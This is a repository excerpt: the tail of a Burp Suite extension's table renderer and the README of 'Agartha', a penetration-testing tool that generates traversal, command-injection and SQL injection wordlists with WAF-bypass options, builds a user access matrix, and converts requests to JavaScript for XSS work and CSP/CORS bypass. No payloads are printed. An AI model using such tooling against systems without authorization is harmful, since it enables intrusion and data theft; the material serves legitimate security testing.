1031 | class UserEnabledRenderer(TableCellRenderer): 1032 | def __init__(self, defaultCellRender, userNamesHttpUrls): 1033 | self._defaultCellRender = defaultCellRender 1034 | self.urlList = userNamesHttpUrls 1035 | self.colorsUser = [Color(204, 229, 255), Color(204, 255, 204), Color(204, 204, 255), Color(255,228,196)] 1036 | self.colorsAlert = [Color.white, Color(255, 153, 153), Color(255,218,185), Color(255, 255, 204), Color(211,211,211)] 1037 | 1038 | def getTableCellRendererComponent(self, table, value, isSelected, hasFocus, row, column): 1039 | cell = self._defaultCellRender.getTableCellRendererComponent(table, value, isSelected, hasFocus, row, column) 1040 | toolTipMessage = "" 1041 | cell.setBackground(self.colorsAlert[0]) 1042 | try: 1043 | if column == 0: 1044 | #URL section - default whitee 1045 | cell.setBackground(self.colorsAlert[0]) 1046 | toolTipMessage = "Requested URLs!" 1047 | elif table.getValueAt(row, column) and not table.getValueAt(row, column).startswith("HTTP 2") and not table.getValueAt(row, column).startswith("HTTP 3"): 1048 | #error or http 4XX/5XX 1049 | cell.setBackground(self.colorsAlert[4]) 1050 | toolTipMessage = "The request returns HTTP 4XX/5xx response!" 1051 | elif column == 1: 1052 | #no auth 1053 | cell.setBackground(self.colorsAlert[0]) 1054 | if _colorful: 1055 | for y in range(2,table.getColumnCount()): 1056 | if table.getValueAt(row, y) == table.getValueAt(row, column): 1057 | if table.getValueAt(row, y).startswith("HTTP 2"): 1058 | cell.setBackground(self.colorsAlert[1]) 1059 | toolTipMessage = "The URL returns HTTP 2XX without authentication!" 1060 | elif table.getValueAt(row, y).startswith("HTTP 3"): 1061 | if not cell.getBackground() == self.colorsAlert[1]: 1062 | #cell.setBackground(self.colorsAlert[3]) 1063 | toolTipMessage = "The URL returns HTTP 3XX without authentication!" 1064 | elif table.getValueAt(row, y)[:8] == table.getValueAt(row, column)[:8]: 1065 | if not cell.getBackground() == self.colorsAlert[1]: 1066 | cell.setBackground(self.colorsAlert[2]) 1067 | toolTipMessage = "The URL returns HTTP 2XX with different length and without authentication!" 1068 | elif table.getValueAt(row, 0) in self.urlList[column- 1]: 1069 | cell.setBackground(self.colorsUser[column-2]) 1070 | toolTipMessage = "Http response of the user's own URL!" 1071 | else: 1072 | #other users 1073 | cell.setBackground(self.colorsAlert[0]) 1074 | if _colorful: 1075 | for y in range(2,table.getColumnCount()): 1076 | if table.getValueAt(row, y) == table.getValueAt(row, column): 1077 | # responses are same: red or yellow 1078 | if table.getValueAt(row, y).startswith("HTTP 2"): 1079 | cell.setBackground(self.colorsAlert[1]) 1080 | toolTipMessage = "The URL is not in the user's list but returns HTTP 2XX!" 1081 | elif table.getValueAt(row, y).startswith("HTTP 3"): 1082 | if not cell.getBackground() == self.colorsAlert[1]: 1083 | cell.setBackground(self.colorsAlert[3]) 1084 | toolTipMessage = "The URL is not in the user's list and returns HTTP 3XX!" 1085 | elif table.getValueAt(row, y)[:8] == table.getValueAt(row, column)[:8]: 1086 | # response lengths are different, but responses code might be the same 1087 | if not cell.getBackground() == self.colorsAlert[1]: 1088 | cell.setBackground(self.colorsAlert[2]) 1089 | toolTipMessage = "The URL is not in the user's list but returns HTTP 2XX with different length!" 1090 | except: 1091 | cell.setBackground(self.colorsAlert[0]) 1092 | 1093 | if isSelected: 1094 | cell.setBackground(Color(240,240,240)) 1095 | 1096 | if hasFocus: 1097 | cell.setBackground(Color(240,240,240)) 1098 | cell.setFont(cell.getFont().deriveFont(Font.BOLD | Font.ITALIC)); 1099 | cell.setToolTipText(toolTipMessage) 1100 | 1101 | return cell 1102 | 1103 | class CustomDefaultTableModel(DefaultTableModel): 1104 | def __init__(self, data, headings) : 1105 | DefaultTableModel.__init__(self, data, headings) 1106 | 1107 | def isCellEditable(self, row, col) : 1108 | return col == 0 1109 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Agartha { LFI | RCE | Auth | SQLi | Http-Js } 2 | Agartha is a penetration testing tool which creates dynamic payload lists and user access matrix to reveal injection flaws and authentication/authorization issues. There are many different attack payloads exists, but Agartha creates run-time, systematic and vendor-neutral payloads with many different possibilities and bypassing methods. It also draws attention to user session and URL relationships, which makes easy to find user access violations. And additionally, it converts Http requests to JavaScript to help digging up XSS issues. In summary: 3 | 4 | - **Payload Generator**: It creates payloads/wordlists for different attacks. 5 | - **Directory Traversal/Local File Inclusion**: It creates file dictionary lists with various encoding and escaping characters. 6 | - **Remote Code Execution**: It creates command dictionary lists for both unix and windows environments with different combinations. 7 | - **SQL Injection**: It creates Stacked Queries, Boolean-Based, Union-Based, Time-Based and Order-Based SQLi wordlist for various databases to help finding vulnerable spots. 8 | - **Authorization Matrix**: It creates an access role matrix based on user sessions and URL lists to determine authorization/authentication related access violation issues. 9 | - And **Http Request to JavaScript Converter**: It converts Http requests to JavaScript code to be useful for further XSS exploitation and more.

10 | 11 | 12 | Here is a small tutorial how to use. 13 | ## Installation 14 | 15 | 16 | For manual installation, you should download 'jython' file first, and then: 17 | - Burp Menu > Extender > Options > Python Environment > Locate jython standalone jar file 18 | - Burp Menu > Extender > Extensions > Add > Extension Type: Python > Select file: 'agartha.py' 19 | - After, you will see 'Agartha' tab in the main window and it will be also registered the right click, under 'Extensions > Agartha {LFI|RCE|Auth|SQLi|Http-Js}'.

20 | 21 | ## Directory Traversal/Local File Inclusion 22 | It both supports unix and windows file systems. You can generate any wordlists dynamically for the path you want. You just need to supply a file path and that's all. 23 | 24 | **'Depth'** is representation of how deep the wordlist should be. You can generate wordlists 'till' or 'equal to' this value. 25 | 26 | **'Waf Bypass'** asks for if you want to include all bypass features; like null bytes, different encoding, etc. 27 | 28 | Directory Traversal/Local File Inclusion wordlist

29 | 30 | 31 | ## Remote Code Execution 32 | It creates command execution dynamic wordlists for the command you supply. It combines different separators and terminators for unix and windows environments together. 33 | 34 | **'URL Encoding'** encodes dictionary output. 35 | 36 | Remote Code Execution wordlist

37 | 38 | ## SQL Injection 39 | It generates payloads for Stacked Queries, Boolean-Based, Union-Based, Time-Based, Order-Based SQLi attacks, and you do not need to supply any inputs. You just pick what type of SQLi attacks and databases you want, then it will generate a wordlist with different combinations. 40 | 41 | **'URL Encoding'** encodes dictionary output. 42 | 43 | **'Waf Bypass'** asks for if you want to include all bypass features; like null bytes, different encoding, etc. 44 | 45 | **'Union-Based'** and **'Order-Based'** ask for how deep the payload should be. The default value is 5. 46 | 47 | And the rest is related with database and attack types. 48 | 49 | SQL Injection wordlist

50 | 51 | 52 | ## Authorization Matrix 53 | This part focuses on user session and URLs relationships to determine access violations. The tool will visit all URLs from pre-defined user sessions and fill the table with all Http responses. It is a kind of access matrix and helps to find out authentication/authorization issues. Afterwards we will see what user can access what page contents. 54 | - **User session name**: You can right click on any request and send it 'Agartha Panel' to define user sessions. 55 | - **URL Addresses** user can visit: You can use Burp's spider feature or any sitemap generators. You may need to provide different URLs for different users. 56 | 57 | 58 | Authorization Matrix, sending http req 59 | 60 | 61 | After sending Http request to Agartha, the panel will fill some fields in the tool. 62 | 1. What's username for the session you provide. You can add up to 4 different users and each user will have a different color to make it more readable. 63 | 2. User's request header and all user related URL visits will be based on it. 64 | 3. URL addresses the user can visit. You can create this list with manual effort or automatic tools, like spiders, sitemap generators, etc, and do not forget to remove logout links. 65 | 4. All URLs you supply will be in here. Also user cells will be colored, if the URL belongs to her/him. 66 | 5. Http requests and responses without authentication. All session cookies, tokens and parameters will be removed form Http calls. 67 | 6. Http requests and responses with the user session you define in the first step. Cell titles show Http response codes and response lengths. 68 | 7. Just click the cell you want to examine and Http details will be shown in here. 69 | 70 | 71 | Role Matrix 72 | 73 | 74 | After clicking 'RUN', the tool will fill user and URL matrix with different colors. Besides the user colors, you will see orange, yellow and red cells. The URL address does not belong to the user and the cell color is: 75 | - Yellow, because the response returns 'HTTP 302' with authentication/authorization concerns 76 | - Orange, because the response returns 'HTTP 200' but different content length, with authentication/authorization concerns 77 | - Red, because the response returns 'HTTP 200' and same content length, with authentication/authorization concerns 78 | 79 | It will be quite similar, even if we add more users and any authorization concerns will be highlighted in the same way. 80 | 81 | You may also notice, it support only one Http request method and user session at the same time, because it processes bulk requests and it is not possible to provide different header options for each calls. But you may play with 'GET/POST' methods to see response differences.

82 | 83 | 84 | ## Http Request to JavaScript Converter 85 | The feature is for converting Http requests to JavaScript code. It can be useful to dig up further XSS issues and bypass header restrictions, like CSP, CORS. 86 | 87 | To access it, right click any Http Request, Extensions, 'Agartha', and 'Copy as JavaScript'. 88 | 89 | Http Request to JavaScript Converter 90 | 91 | It will automatically save it to your clipboard with some remarks. For example: 92 | ``` 93 | Http request with minimum header paramaters in JavaScript: 94 | 95 | 96 | Http request with all header paramaters in JavaScript: 97 | 98 | 99 | For redirection, please also add this code before '' tag: 100 | xhr.onreadystatechange=function(){if (this.status===302){var location=this.getResponseHeader('Location');return ajax.call(this,location);}}; 101 | ``` 102 | Please note that, the JavaScript code will be called over original user session and many header fields will be filled automatically. In some cases, the server may require some header field mandatory, and therefore you may need to modify the code for an adjustment. 103 | --------------------------------------------------------------------------------